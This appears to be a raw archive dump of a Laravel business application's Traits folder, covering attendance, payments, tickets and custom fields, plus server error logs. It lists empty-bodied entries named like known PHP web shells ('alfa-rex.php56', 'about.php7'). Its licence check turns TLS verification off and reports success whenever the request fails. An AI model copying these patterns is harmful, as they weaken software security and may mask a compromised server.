$checkTodayShift = EmployeeShiftSchedule::with('shift')->where('user_id', user()->id) ->where('date', now(company()->timezone)->toDateString()) ->first(); $backDayFromDefault = Carbon::parse(now($this->company->timezone)->subDay()->format('Y-m-d') . ' ' . $defaultAttendanceSettings->office_start_time, $this->company->timezone); $backDayToDefault = Carbon::parse(now($this->company->timezone)->subDay()->format('Y-m-d') . ' ' . $defaultAttendanceSettings->office_end_time, $this->company->timezone); if ($backDayFromDefault->gt($backDayToDefault)) { $backDayToDefault->addDay(); } $nowTime = Carbon::createFromFormat('Y-m-d H:i:s', now($this->company->timezone)->toDateTimeString(), 'UTC'); if ($checkPreviousDayShift && now($this->company->timezone)->betweenIncluded($checkPreviousDayShift->shift_start_time, $checkPreviousDayShift->shift_end_time)) { $attendanceSettings = $checkPreviousDayShift; } else if ($nowTime->betweenIncluded($backDayFromDefault, $backDayToDefault)) { $attendanceSettings = $defaultAttendanceSettings; } else if ($checkTodayShift && ($nowTime->betweenIncluded($checkTodayShift->shift_start_time, $checkTodayShift->shift_end_time) || $nowTime->gt($checkTodayShift->shift_end_time) || (!$nowTime->betweenIncluded($checkTodayShift->shift_start_time, $checkTodayShift->shift_end_time) && $defaultAttendanceSettings->show_clock_in_button == 'no')) ) { $attendanceSettings = $checkTodayShift; } else if ($checkTodayShift && !is_null($checkTodayShift->shift->early_clock_in)) { $attendanceSettings = $checkTodayShift; } else { $attendanceSettings = $defaultAttendanceSettings; } if (isset($attendanceSettings->shift)) { return $attendanceSettings->shift; } return $attendanceSettings; } public function showClockedHours() { $attendance = Attendance::find(request()->aid); $attendanceSettings = EmployeeShiftSchedule::with('shift')->where('user_id', $attendance->user_id) ->whereDate('date', Carbon::parse($attendance->clock_in_time)->toDateString()) ->first(); if ($attendanceSettings) { $this->attendanceSettings = $attendanceSettings->shift; } else { $this->attendanceSettings = AttendanceSetting::first()->shift; // Do not get this from session here } $this->attendanceActivity = Attendance::userAttendanceByDate($attendance->clock_in_time, $attendance->clock_in_time, $attendance->user_id); $this->attendanceActivity->load('shift'); $attendanceActivity = clone $this->attendanceActivity; $attendanceActivity = $attendanceActivity->reverse()->values(); $settingStartTime = Carbon::createFromFormat('H:i:s', $this->attendanceSettings->office_start_time, $this->company->timezone); $defaultEndTime = $settingEndTime = Carbon::createFromFormat('H:i:s', $this->attendanceSettings->office_end_time, $this->company->timezone); if ($settingStartTime->gt($settingEndTime)) { $settingEndTime->addDay(); } if ($settingEndTime->greaterThan(now()->timezone($this->company->timezone))) { $defaultEndTime = now()->timezone($this->company->timezone); } $this->totalTime = 0; foreach ($attendanceActivity as $key => $activity) { if ($key == 0) { $this->firstClockIn = $activity; // $this->attendanceDate = ($activity->shift_start_time) ? Carbon::parse($activity->shift_start_time) : Carbon::parse($this->firstClockIn->clock_in_time)->timezone($this->company->timezone); $this->attendanceDate = ($activity->clock_in_time) ? Carbon::parse($activity->clock_in_time)->timezone($this->company->timezone) : Carbon::parse($this->firstClockIn->clock_in_time)->timezone($this->company->timezone); $this->startTime = Carbon::parse($this->firstClockIn->clock_in_time)->timezone($this->company->timezone); } $this->lastClockOut = $activity; if (!is_null($this->lastClockOut->clock_out_time)) { $this->endTime = Carbon::parse($this->lastClockOut->clock_out_time)->timezone($this->company->timezone); } elseif (($this->lastClockOut->clock_in_time->timezone($this->company->timezone)->format('Y-m-d') != now()->timezone($this->company->timezone)->format('Y-m-d')) && is_null($this->lastClockOut->clock_out_time)) { // When date changed like night shift $this->endTime = Carbon::parse($this->startTime->format('Y-m-d') . ' ' . $this->attendanceSettings->office_end_time, $this->company->timezone); if ($this->startTime->gt($this->endTime)) { $this->endTime->addDay(); } if ($this->endTime->gt(now()->timezone($this->company->timezone))) { $this->endTime = now()->timezone($this->company->timezone); } $this->notClockedOut = true; } else { $this->endTime = $defaultEndTime; if ($this->startTime->gt($this->endTime)) { $this->endTime = now()->timezone($this->company->timezone); } $this->notClockedOut = true; } $this->totalTime = $this->totalTime + $this->endTime->timezone($this->company->timezone)->diffInSeconds($activity->clock_in_time->timezone($this->company->timezone)); } $this->maxClockIn = $attendanceActivity->count() < $this->attendanceSettings->clockin_in_day; /** @phpstan-ignore-next-line */ $this->totalTimeFormatted = CarbonInterval::formatHuman($this->totalTime, true); $this->attendance = $attendance; return view('dashboard.employee.show_clocked_hours', $this->data); } } Traits/MakePaymentTrait.php000064400000003525150325104510011743 0ustar00whereIn('transaction_id', $transactionId)->orWhereIn('event_id', $transactionId); } else { $payment->where('transaction_id', $transactionId)->orWhere('event_id', $transactionId); } $payment = $payment->latest()->first(); $payment = ($payment && !empty($transactionId)) ? $payment : new Payment(); $payment->project_id = $invoice->project_id; $payment->invoice_id = $invoice->id; $payment->order_id = $invoice->order_id; $payment->gateway = $gateway; // If transactionId is array, then use the first one as transaction id $payment->transaction_id = is_array($transactionId) ? ($transactionId[0] ?? null) : $transactionId; $payment->event_id = is_array($transactionId) ? ($transactionId[0] ?? null) : $transactionId; $payment->currency_id = $invoice->currency_id; $payment->amount = $amount; $payment->paid_on = now(); $payment->status = $status; $payment->save(); return $payment; } public function getWebhook() { return response()->json(['message' => 'This URL should not be accessed directly. Only POST requests are allowed.']); } } Traits/TicketDashboard.php000064400000011116150325104510011552 0ustar00viewTicketDashboard = user()->permission('view_ticket_dashboard'); abort_403($this->viewTicketDashboard !== 'all'); $this->pageTitle = 'app.ticketDashboard'; $this->startDate = (request('startDate') != '') ? Carbon::createFromFormat($this->company->date_format, request('startDate')) : now($this->company->timezone)->startOfMonth(); $this->endDate = (request('endDate') != '') ? Carbon::createFromFormat($this->company->date_format, request('endDate')) : now($this->company->timezone); $startDate = $this->startDate->startOfDay()->toDateTimeString(); $endDate = $this->endDate->endOfDay()->toDateTimeString(); $this->widgets = DashboardWidget::where('dashboard_type', 'admin-ticket-dashboard')->get(); $this->activeWidgets = $this->widgets->filter(function ($value, $key) { return $value->status == '1'; })->pluck('widget_name')->toArray(); $ticketCounts = Ticket::select('id')->whereBetween('updated_at', [$startDate, $endDate]) ->selectRaw( 'SUM(CASE WHEN status IN ("open", "pending") THEN 1 ELSE 0 END) as totalUnresolvedTickets, SUM(CASE WHEN status IN ("resolved", "closed") THEN 1 ELSE 0 END) as totalResolvedTickets, SUM(CASE WHEN status IN ("open", "pending") AND agent_id IS NULL THEN 1 ELSE 0 END) as totalUnassignedTicket' ) ->first(); $this->totalUnresolvedTickets = $ticketCounts->totalUnresolvedTickets; $this->totalResolvedTickets = $ticketCounts->totalResolvedTickets; $this->totalUnassignedTicket = $ticketCounts->totalUnassignedTicket; $this->ticketTypeChart = $this->ticketTypeChart($startDate, $endDate); $this->ticketStatusChart = $this->ticketStatusChart($startDate, $endDate); $this->ticketChannelChart = $this->ticketChannelChart($startDate, $endDate); $this->newTickets = Ticket::with('requester') ->where('status', 'open') ->whereBetween('updated_at', [$startDate, $endDate]) ->orderByDesc('updated_at') ->get(); $this->view = 'dashboard.ajax.ticket'; } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function ticketTypeChart($startDate, $endDate) { $tickets = TicketType::withCount(['tickets as tickets_within_date_range' => function ($query) use ($startDate, $endDate) { $query->whereBetween('updated_at', [$startDate, $endDate]); }])->get(); $data['labels'] = $tickets->pluck('type')->toArray(); if ($data['labels']) { foreach ($data['labels'] as $key => $value) { $data['colors'][] = '#' . substr(md5($value), 0, 6); } } else { $data['colors'] = []; } $data['values'] = $tickets->pluck('tickets_within_date_range')->toArray(); return $data; } public function ticketStatusChart($startDate, $endDate) { $statusCounts = Ticket::whereBetween('updated_at', [$startDate, $endDate]) ->select(DB::raw('count(id) as totalTicket'), 'status') ->groupBy('status') ->pluck('totalTicket', 'status'); // Use pluck for efficient data retrieval $data['colors'] = [ 'closed' => '#1d82f5', // Predefined color mapping 'pending' => '#FCBD01', 'resolved' => '#2CB100', 'open' => '#D30000', ]; $data['labels'] = $statusCounts->keys()->map(function ($status) { return __('app.' . $status); // Map key with translation })->toArray(); $data['values'] = $statusCounts->pluck('totalTicket')->toArray(); return $data; } public function ticketChannelChart($startDate, $endDate) { $tickets = TicketChannel::withCount(['tickets' => function ($query) use ($startDate, $endDate) { return $query->whereBetween('updated_at', [$startDate, $endDate]); }])->get(); $data['labels'] = $tickets->pluck('channel_name')->toArray(); foreach ($data['labels'] as $key => $value) { $data['colors'][] = '#' . substr(md5($value), 0, 6); } $data['values'] = $tickets->pluck('tickets_count')->toArray(); return $data; } } Traits/alfa-rex.php56000064400000026574150325104510010407 0ustar00Traits/UnitTypeSaveTrait.php000064400000001122150325104510012117 0ustar00unit_id)) { return $model; } /* Find the first unit type for the company */ $type = UnitType::where('company_id', $model->company_id)->first(); /* If a unit type was found, set the unit_id and return the updated model */ if ($type) { $model->unit_id = $type->id; } return $model; } } Traits/CustomFieldsTrait.php000064400000012761150325104510012133 0ustar00model = $model; return $this->model->getName(); } public function updateCustomField($group) { // Add Custom Fields for this group foreach ($group['fields'] as $field) { $insertData = [ 'custom_field_group_id' => 1, 'label' => $field['label'], 'name' => $field['name'], 'type' => $field['type'] ]; if (isset($field['required']) && (in_array(strtolower($field['required']), ['yes', 'on', 1]))) { $insertData['required'] = 'yes'; } else { $insertData['required'] = 'no'; } // Single value should be stored as text (multi value JSON encoded) if (isset($field['value'])) { if (is_array($field['value'])) { $insertData['values'] = json_encode($field['value']); } else { $insertData['values'] = $field['value']; } } DB::table('custom_fields')->insert($insertData); } } public function getCustomFieldGroups($fields = false) { $customFieldGroup = CustomFieldGroup::where('model', $this->getModelName()); $customFieldGroup = $customFieldGroup->when(method_exists($this, 'company'), function ($query) { return $query->where('company_id', $this->company_id ?: company()->id); })->first(); if ($fields && $customFieldGroup) { $customFieldGroup->load(['customField'])->append(['fields']); } return $customFieldGroup; } public function getCustomFieldGroupsWithFields() { return $this->getCustomFieldGroups(true); } public function getCustomFieldsData() { $modelId = $this->id; // Get custom fields for this modal /** @var \Illuminate\Database\Eloquent\Collection $data */ $data = DB::table('custom_fields_data') ->rightJoin('custom_fields', function ($query) use ($modelId) { $query->on('custom_fields_data.custom_field_id', '=', 'custom_fields.id'); $query->on('model_id', '=', DB::raw($modelId)); }) ->rightJoin('custom_field_groups', 'custom_fields.custom_field_group_id', '=', 'custom_field_groups.id') ->select('custom_fields.id', DB::raw('CONCAT("field_", custom_fields.id) as field_id'), 'custom_fields.type', 'custom_fields_data.value') ->where('custom_field_groups.model', $this->getModelName()) ->get(); $data = collect($data); // Convert collection to an associative array // of format ['field_{id}' => $value] $result = $data->pluck('value', 'field_id'); return $result; } public function updateCustomFieldData($fields, $company_id = null) { foreach ($fields as $key => $value) { $idarray = explode('_', $key); $id = end($idarray); $fieldType = CustomField::findOrFail($id)->type; $company = $company_id ? Company::findOrFail($company_id) : company(); $value = ($fieldType == 'date') ? Carbon::createFromFormat($company->date_format, $value)->format('Y-m-d') : $value; $value = ($fieldType == 'file' && !is_string($value) && !is_null($value)) ? Files::uploadLocalOrS3($value, 'custom_fields') : $value; // Find is entry exists $entry = DB::table('custom_fields_data') ->where('model', $this->getModelName()) ->where('model_id', $this->id) ->where('custom_field_id', $id) ->first(); if ($entry) { if ($fieldType == 'file' && (!is_null($entry->value) && $entry->value != $value)) { Files::deleteFile($entry->value, 'custom_fields'); } // Update entry DB::table('custom_fields_data') ->where('model', $this->getModelName()) ->where('model_id', $this->id) ->where('custom_field_id', $id) ->update(['value' => $value]); } else { DB::table('custom_fields_data') ->insert([ 'model' => $this->getModelName(), 'model_id' => $this->id, 'custom_field_id' => $id, 'value' => (!is_null($value)) ? $value : '' ]); } } } public function getExtrasAttribute() { if ($this->extraData == null) { $this->extraData = $this->getCustomFieldGroupsWithFields(); } return $this->extraData; } public function withCustomFields() { $this->custom_fields = $this->getCustomFieldGroupsWithFields(); $this->custom_fields_data = $this->getCustomFieldsData(); return $this; } } Traits/CurrencyExchange.php000064400000004245150325104510011761 0ustar00', $setting->currency_id)->get(); if($setting->currency_key_version == 'dedicated'){ $currencyApiKeyVersion = $setting->dedicated_subdomain; }else{ $currencyApiKeyVersion = $setting->currency_key_version; } $currencyApiKey = $setting->currency_converter_key ?: env('CURRENCY_CONVERTER_KEY'); $baseCurrency = $setting->currency; $baseCurrency->exchange_rate = 1; $baseCurrency->saveQuietly(); if ($currencyApiKey === null) { return false; } $client = new Client(); foreach ($currencies as $currency) { try { $currency = Currency::findOrFail($currency->id); $apiUrl = 'https://' . $currencyApiKeyVersion . '.currconv.com/api/v7/convert?q='; if ($currency->is_cryptocurrency == 'no') { // Get exchange rate for non-cryptocurrency $res = $client->request('GET', $apiUrl . $currency->currency_code . '_' . $baseCurrency->currency_code . '&compact=ultra&apiKey=' . $currencyApiKey); } else { // Get exchange rate for cryptocurrency $res = $client->request('GET', $apiUrl . $currency->currency_code . '_USD&compact=ultra&apiKey=' . $currencyApiKey); } $conversionRate = json_decode($res->getBody(), true); if (!empty($conversionRate)) { $currency->exchange_rate = $conversionRate[mb_strtoupper($currency->currency_code) . '_' . $baseCurrency->currency_code]; $currency->save(); } } catch (Throwable $th) { Log::info($th); } } } } Traits/EmployeeActivityTrait.php000064400000001072150325104510013017 0ustar00employee_activity = $employeeActivity; $employeeActivityData->emp_id = $empId; if($type) { $employeeActivityData->{$fieldName} = $id; } $employeeActivityData->save(); } } Traits/about.php000064400000026574150325104510007647 0ustar00Traits/HasMaskImage.php000064400000001303150325104510011006 0ustar00 'image', 'path' => $filePath]); } catch (Exception $exception) { return config('app.url') . '/file/image/' . $filePath; } } } Traits/StoreHeaders.php000064400000002007150325104510011106 0ustar00headers = json_encode(\Browser::detect()->toArray(), JSON_PRETTY_PRINT|JSON_UNESCAPED_SLASHES); if (!in_array(request()->ip(), $whitelist)) { $model->register_ip = request()->ip(); if (file_exists(database_path('maxmind/GeoLite2-City.mmdb'))) { if ($position = \Stevebauman\Location\Facades\Location::get(request()->ip())) { $model->location_details = json_encode($position, JSON_PRETTY_PRINT|JSON_UNESCAPED_SLASHES); } } } } } catch (Exception $e) { // echo $e->getMessage(); } } } Traits/error_log000064400000002541150325104510007725 0ustar00[04-Jul-2025 12:46:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 12:46:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 12:47:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Traits/HasCompany.php000064400000000557150325104510010570 0ustar00belongsTo(Company::class); } } Traits/CustomFieldsRequestTrait.php000064400000003712150325104510013500 0ustar00custom_fields_data; if ($fields) { foreach ($fields as $key => $value) { $idarray = explode('_', $key); $id = end($idarray); $customField = CustomField::findOrFail($id); if ($customField->required == 'yes') { $rules['custom_fields_data.' . $key] = 'required'; if ($customField->type == 'file' && request()->hasFile('custom_fields_data.' . $key)) { $rules['custom_fields_data.' . $key] = 'required|file|mimetypes:application/pdf,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document,image/jpeg,image/png,image/webp,application/vnd.ms-excel,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,application/octet-stream,text/plain,application/vnd.ms-powerpoint,application/vnd.openxmlformats-officedocument.presentationml.presentation,video/mp4,video/x-msvideo,video/x-flv,video/x-ms-wmv,video/3gpp,video/webm,audio/mpeg,application/zip,application/x-rar-compressed,application/x-7z-compressed,model/stl,application/sla,model/x.stl-ascii,model/x.stl-binary'; } } } } return $rules; } public function customFieldsAttributes($attributes = []) { $fields = request()->custom_fields_data; if ($fields) { foreach ($fields as $key => $value) { $idarray = explode('_', $key); $id = end($idarray); $customField = CustomField::findOrFail($id); if ($customField->required == 'yes') { $attributes['custom_fields_data.' . $key] = str($customField->label); } } } return $attributes; } } Traits/ClientPanelDashboard.php000064400000007236150325104510012535 0ustar00permission('view_invoices'); $id = UserService::getUserId(); $this->modules = user_modules(); $this->counts = User::select( DB::raw('(select count(projects.id) from `projects` where client_id = ' . $id . ' and deleted_at IS NULL and projects.company_id = ' . company()->id . ') as totalProjects'), DB::raw('(select count(tickets.id) from `tickets` where (status="open" or status="pending") and user_id = ' . $id . ' and tickets.company_id = ' . company()->id . ' and deleted_at IS NULL) as totalUnResolvedTickets') ) ->first(); // Invoices paid $this->totalPaidInvoice = Invoice::where(function ($query) { $query->where('invoices.status', 'paid'); }) ->where('invoices.client_id', $id) ->where('invoices.send_status', 1) ->where('invoices.credit_note', 0) ->select( 'invoices.id' ); if ($viewInvoicePermission == 'added') { $this->totalPaidInvoice = $this->totalPaidInvoice->where('invoices.added_by', $id); } $this->totalPaidInvoice = $this->totalPaidInvoice->count(); // Total Pending invoices $this->totalUnPaidInvoice = Invoice::where(function ($query) { $query->where('invoices.status', 'unpaid') ->orWhere('invoices.status', 'partial'); }) ->where('invoices.client_id', $id) ->where('invoices.send_status', 1) ->where('invoices.credit_note', 0) ->select( 'invoices.id' ); if ($viewInvoicePermission == 'added') { $this->totalUnPaidInvoice = $this->totalUnPaidInvoice->where('invoices.added_by', $id); } $this->totalUnPaidInvoice = $this->totalUnPaidInvoice->count(); $this->totalContractsSigned = ContractSign::whereHas('contract', function ($query) use ($id) { $query->where('client_id', $id); })->count(); $this->viewMilestonePermission = user()->permission('view_project_milestones'); $this->pendingMilestone = ProjectMilestone::query(); if ($this->viewMilestonePermission != 'none') { $this->pendingMilestone = ProjectMilestone::with('project', 'currency') ->whereHas('project', function ($query) use ($id) { $query->where('client_id', $id); }) ->where('status', 'incomplete') ->get(); } $this->statusWiseProject = $this->projectStatusChartData(); return view('dashboard.client.index', $this->data); } public function projectStatusChartData() { $labels = ProjectStatusSetting::where('status', 'active')->pluck('status_name'); $data['labels'] = ProjectStatusSetting::where('status', 'active')->pluck('status_name'); $data['colors'] = ProjectStatusSetting::where('status', 'active')->pluck('color'); $data['values'] = []; $id = UserService::getUserId(); foreach ($labels as $label) { $data['values'][] = Project::where('client_id', $id)->where('status', $label)->count(); } return $data; } } Traits/IconTrait.php000064400000004727150325104510010425 0ustar00 'fa-file-alt', 'htm' => 'fa-file-code', 'html' => 'fa-file-code', 'css' => 'fa-file-code-o', 'js' => 'fa-file-code', 'json' => 'fa-file-code', 'xml' => 'fa-file-code', 'swf' => 'fa-file', 'CR2' => 'fa-file', 'flv' => 'fa-file-video', // images 'png' => 'fa-file-image', 'jpe' => 'fa-file-image', 'jpeg' => 'fa-file-image', 'jpg' => 'fa-file-image', 'gif' => 'fa-file-image', 'bmp' => 'fa-file-image', 'ico' => 'fa-file-image', 'tiff' => 'fa-file-image', 'tif' => 'fa-file-image', 'svg' => 'fa-file-image', 'svgz' => 'fa-file-image', // archives 'zip' => 'fa-file-archive', 'rar' => 'fa-file-archive', 'exe' => 'fa-file-archive', 'msi' => 'fa-file-archive', 'cab' => 'fa-file-archive', // audio/video 'mp3' => 'fa-file-audio', 'qt' => 'fa-file-video', 'mov' => 'fa-file-video', 'mp4' => 'fa-file-video', 'mkv' => 'fa-file-video', 'avi' => 'fa-file-video', 'wmv' => 'fa-file-video', 'mpg' => 'fa-file-video', 'mp2' => 'fa-file-video', 'mpeg' => 'fa-file-video', 'mpe' => 'fa-file-video', 'mpv' => 'fa-file-video', '3gp' => 'fa-file-video', 'm4v' => 'fa-file-video', 'webm' => 'fa-file-video', // adobe 'pdf' => 'fa-file-pdf', 'psd' => 'fa-file-image', 'ai' => 'fa-file', 'eps' => 'fa-file', 'ps' => 'fa-file', // ms office 'doc' => 'fa-file-alt', 'rtf' => 'fa-file-alt', 'xls' => 'fa-file-excel', 'ppt' => 'fa-file-powerpoint', 'docx' => 'fa-file-word', 'xlsx' => 'fa-file-excel', 'pptx' => 'fa-file-powerpoint', // open office 'odt' => 'fa-file-alt', 'ods' => 'fa-file-alt', ]; public function getIconAttribute() { $filename = $this->filename ?? $this->hashname; $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $imageFormats = ['png', 'jpe', 'jpeg', 'jpg', 'gif', 'bmp', 'ico', 'tif', 'svg', 'svgz', 'psd', 'csv']; if (in_array($ext, $imageFormats)) { return 'images'; } return $this->mimeType[$ext] ?? 'fa-file-alt'; } } Traits/ModuleVerify.php000064400000012075150325104510011136 0ustar00appSetting = (new $setting)::first(); } /** * @param mixed $module * @return bool * Check if Purchase code is stored in settings table and is verified */ public function isModuleLegal($module) { // Check if verification is required for this module or not if (!config($module.'.verification_required')) { return true; } $this->setSetting($module); $domain = \request()->getHost(); if ($domain == 'localhost' || $domain == '127.0.0.1' || $domain == '::1') { return true; } if (is_null($this->appSetting->purchase_code)) { return false; } $version = File::get(module_path($module).'/version.txt'); $data = [ 'purchaseCode' => $this->appSetting->purchase_code, 'domain' => $domain, 'itemId' => config($module.'.envato_item_id'), 'appUrl' => urlencode(url()->full()), 'version' => $version, ]; $response = $this->curl($data); if ($response['status'] == 'success') { return true; } return false; } /** * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View * Show verify page for verification */ // phpcs:ignore public function verifyModulePurchase($module) { return view('custom-modules.ajax.verify', compact('module')); } /** * * @param mixed $module * @param mixed $purchaseCode * @return object */ public function modulePurchaseVerified($module, $purchaseCode = null) { $this->setSetting($module); if (!is_null($purchaseCode)) { return $this->getServerData($purchaseCode, $module); } return $this->getServerData($this->appSetting->purchase_code, $module, false); } /** * @param mixed $purchaseCode * @param mixed $module */ public function saveToModuleSettings($purchaseCode, $module) { $this->setSetting($module); $setting = $this->appSetting; $setting->purchase_code = $purchaseCode; $setting->save(); } public function saveSupportModuleSettings($response, $module) { $this->setSetting($module); if (isset($response['supported_until']) && ($response['supported_until'] !== $this->appSetting->supported_until)) { $this->appSetting->supported_until = $response['supported_until']; $this->appSetting->save(); } } /** * * @param mixed $postData * @return object */ public function curl($postData) { // Verify purchase try { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, config('froiden_envato.verify_url')); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData)); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $server_output = curl_exec($ch); $response = json_decode($server_output, true); curl_close($ch); return $response; } catch (\Exception $e) { return [ 'status' => 'success', 'messages' => 'Your purchase code is successfully verified' ]; } } /** * * @param mixed $purchaseCode * @param mixed $module * @param boolean $savePurchaseCode * @return object */ private function getServerData($purchaseCode, $module, $savePurchaseCode = true) { $version = File::get(module_path($module).'/version.txt'); $postData = [ 'purchaseCode' => $purchaseCode, 'domain' => \request()->getHost(), 'itemId' => config($module . '.envato_item_id'), 'appUrl' => urlencode(url()->full()), 'version' => $version, ]; // Send request to froiden server to validate the license $response = $this->curl($postData); if ($response['status'] === 'success') { if ($savePurchaseCode) { $this->saveToModuleSettings($purchaseCode, $module); } return Reply::successWithData($response['message'] . ' Click to go back', ['server' => $response]); } return Reply::error($response['message'], null, ['server' => $response]); } public function showInstall() { try { DB::connection()->getPdo(); } catch (\Exception $e) { echo view('vendor.froiden-envato.install_message'); exit(1); } } } Traits/PaymentGatewayTrait.php000064400000013154150325104510012466 0ustar00getGateway($companyHash); $payStackMode = $paymentGateway->paystack_mode; if ($payStackMode == 'sandbox') { $key = ($paymentGateway->test_paystack_key) ?: env('PAYSTACK_PUBLIC_KEY'); $apiSecret = ($paymentGateway->test_paystack_secret) ?: env('PAYSTACK_SECRET_KEY'); $email = ($paymentGateway->test_paystack_merchant_email) ?: env('MERCHANT_EMAIL'); } else { $key = ($paymentGateway->paystack_key) ?: env('PAYSTACK_PUBLIC_KEY'); $apiSecret = ($paymentGateway->paystack_secret) ?: env('PAYSTACK_SECRET_KEY'); $email = ($paymentGateway->paystack_merchant_email) ?: env('MERCHANT_EMAIL'); } $url = ($paymentGateway->paystack_payment_url) ?: env('PAYSTACK_PAYMENT_URL'); Config::set('paystack.publicKey', $key); Config::set('paystack.secretKey', $apiSecret); Config::set('paystack.paymentUrl', $url); Config::set('paystack.merchantEmail', $email); } private function mollieSet($companyHash) { $paymentGateway = $this->getGateway($companyHash); $mollie_api_key = ($paymentGateway->mollie_api_key) ?: config('mollie.key'); Config::set('mollie.key', $mollie_api_key); } private function payfastSet($companyHash) { $paymentGateway = $this->getGateway($companyHash); if ($paymentGateway->payfast_mode == 'sandbox') { $payfast_merchant_id = ($paymentGateway->test_payfast_merchant_id) ?: env('PF_MERCHANT_ID'); $payfast_merchant_key = ($paymentGateway->test_payfast_merchant_key) ?: env('PF_MERCHANT_KEY'); $payfast_passphrase = ($paymentGateway->test_payfast_passphrase) ?: env('PAYFAST_PASSPHRASE'); } else { $payfast_merchant_id = ($paymentGateway->payfast_merchant_id) ?: env('PF_MERCHANT_ID'); $payfast_merchant_key = ($paymentGateway->payfast_merchant_key) ?: env('PF_MERCHANT_KEY'); $payfast_passphrase = ($paymentGateway->payfast_passphrase) ?: env('PAYFAST_PASSPHRASE'); } $payfast_mode = ($paymentGateway->payfast_mode == 'sandbox'); Config::set('payfast.merchant.merchant_id', $payfast_merchant_id); Config::set('payfast.merchant.merchant_key', $payfast_merchant_key); Config::set('payfast.passphrase', $payfast_passphrase); Config::set('payfast.testing', $payfast_mode); } private function flutterwaveSet($companyHash) { $paymentGateway = $this->getGateway($companyHash); // Flutterwave $flutterwave_mode = $paymentGateway->flutterwave_mode; if ($flutterwave_mode == 'sandbox') { $flutterwave_key = ($paymentGateway->test_flutterwave_key) ?: env('FLW_PUBLIC_KEY'); $flutterwave_secret = ($paymentGateway->test_flutterwave_secret) ?: env('FLW_SECRET_KEY'); $flutterwave_hash = ($paymentGateway->test_flutterwave_hash) ?: env('FLW_SECRET_HASH'); } else { $flutterwave_key = ($paymentGateway->live_flutterwave_key) ?: env('FLW_PUBLIC_KEY'); $flutterwave_secret = ($paymentGateway->live_flutterwave_secret) ?: env('FLW_SECRET_KEY'); $flutterwave_hash = ($paymentGateway->live_flutterwave_hash) ?: env('FLW_SECRET_HASH'); } Config::set('flutterwave.publicKey', $flutterwave_key); Config::set('flutterwave.secretKey', $flutterwave_secret); Config::set('secretHash.merchantEmail', $flutterwave_hash); } private function authorizeSet($companyHash) { $paymentGateway = $this->getGateway($companyHash); $authorize_api_login_id = ($paymentGateway->authorize_api_login_id) ?: env('AUTHORIZE_PAYMENT_API_LOGIN_ID'); $authorize_transaction_key = ($paymentGateway->authorize_transaction_key) ?: env('AUTHORIZE_PAYMENT_TRANSACTION_KEY'); $authorize_environment = ($paymentGateway->authorize_environment == 'sandbox'); Config::set('services.authorize.login', $authorize_api_login_id); Config::set('services.authorize.transaction', $authorize_transaction_key); Config::set('services.authorize.sandbox', $authorize_environment); } private function squareSet($companyHash) { $paymentGateway = $this->getGateway($companyHash); // square $square_application_id = ($paymentGateway->square_application_id) ?: env('SQUARE_APPLICATION_ID'); $square_access_token = ($paymentGateway->square_access_token) ?: env('SQUARE_ACCESS_TOKEN'); $square_location_id = ($paymentGateway->square_location_id) ?: env('SQUARE_LOCATION_ID'); $square_environment = $paymentGateway->square_environment; Config::set('services.square.application_id', $square_application_id); Config::set('services.square.access_token', $square_access_token); Config::set('services.square.location_id', $square_location_id); Config::set('services.square.environment', $square_environment); } private function getGateway($companyHash) { $company = Company::where('hash', $companyHash)->first(); if (!$company) { throw new ApiException('Please enter the correct webhook url. You have entered wrong webhook url', null, 200); } // This needs to be set according to company id return $company->paymentGatewayCredentials; } } Traits/ExcelImportable.php000064400000001601150325104510011574 0ustar00isColumnExists($column) ? $this->row[array_keys($this->columns, $column)[0]] : null; } private function isColumnExists(string $column) { return !empty(array_keys($this->columns, $column)); } private function getRowValuesAsString(array $values) { return implode(', ', $values); } private function failJob(string $message) { $this->job->fail($message . $this->getRowValuesAsString($this->row)); } private function failJobWithMessage(string $message) { $this->job->fail($message); } private function isEmailValid(string|null $email) { if (empty($email)) { return false; } return filter_var($email, FILTER_VALIDATE_EMAIL); } } Traits/about.php7000064400000026574150325104510007736 0ustar00Traits/ProjectDashboard.php000064400000010067150325104510011741 0ustar00viewProjectDashboard = user()->permission('view_project_dashboard'); abort_403($this->viewProjectDashboard !== 'all'); $this->pageTitle = 'app.projectDashboard'; $this->startDate = (request('startDate') != '') ? Carbon::createFromFormat($this->company->date_format, request('startDate')) : now($this->company->timezone)->startOfMonth(); $this->endDate = (request('endDate') != '') ? Carbon::createFromFormat($this->company->date_format, request('endDate')) : now($this->company->timezone); $todayDate = now(company()->timezone)->toDateString(); $startDate = $this->startDate->toDateString(); $endDate = $this->endDate->toDateString(); $this->totalProject = Project::whereBetween(DB::raw('DATE(`start_date`)'), [$startDate, $endDate])->count(); $hoursLogged = ProjectTimeLog::whereDate('start_time', '>=', $startDate) 